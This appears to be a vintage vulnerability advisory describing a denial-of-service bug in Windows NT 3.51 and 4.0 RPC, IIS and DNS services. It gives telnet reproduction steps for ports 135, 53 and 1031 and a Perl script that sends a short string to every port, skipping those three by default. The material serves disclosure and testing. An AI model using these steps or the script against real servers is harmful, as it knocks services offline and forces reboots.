A problem with RPC services causes NT to consume 100% of the CPU time. All that needs to happen is for a person to simply telnet to port 135 on an NT server, and enter a string of ten characters, followed by a carraige return (pressing enter). After trying this, check the Task Manager to confirm the problem -- you'll see rpcss.exe eating up the CPU.

Multiple service ports (53, 135, 1031) are vunerable to 'confusion' from this exploit.

Try the following steps for verification:

1. Telnet to an NT 4.0 system on port 135
2. Type about 10 characters followed by a <CR>
3. Exit Telnet

This results in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.

When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.

The above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.

If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.

The following is modified perl script gleaned from postings in the ntsecurity mailing list at iss.net, to test ports on your system (Perl is available from the NT resource kit):

/*begin poke code*/

use Socket;
use FileHandle;
require "chat2.pl";

$systemname = $ARGV[0] && shift;

$verbose = 1; # tell me what you're hitting
$knownports = 1; # don't hit known problem ports
for ($port = $0; $port<65535; $port++)
{

if ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
next;
}
$fh = chat::open_port($systemname, $port);
chat::print ($fh,"This is about ten characters or more");
if ($verbose) {
print "Trying port: $port\n";
}
chat::close($fh);

}

/*end poke code*/

Save the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername

You cannot kill the rpcss process from the GUI, however you can use the kill.exe program from the NT resource to stop it. You may restart it using the GUI if you like. Any services that were bound to portmapper will have to be restarted as well. Or, you can simply reboot instead.

Windows NT 3.51 and 4.0 are both vulnerable to this incredibly simple attack. As far as I can tell, this bug was first reported by Jason T. Luttgens (luttgenj@kic.or.jp), and has been reported back to CERT and Microsoft.

NT Versions Affected:

3.51, 4.0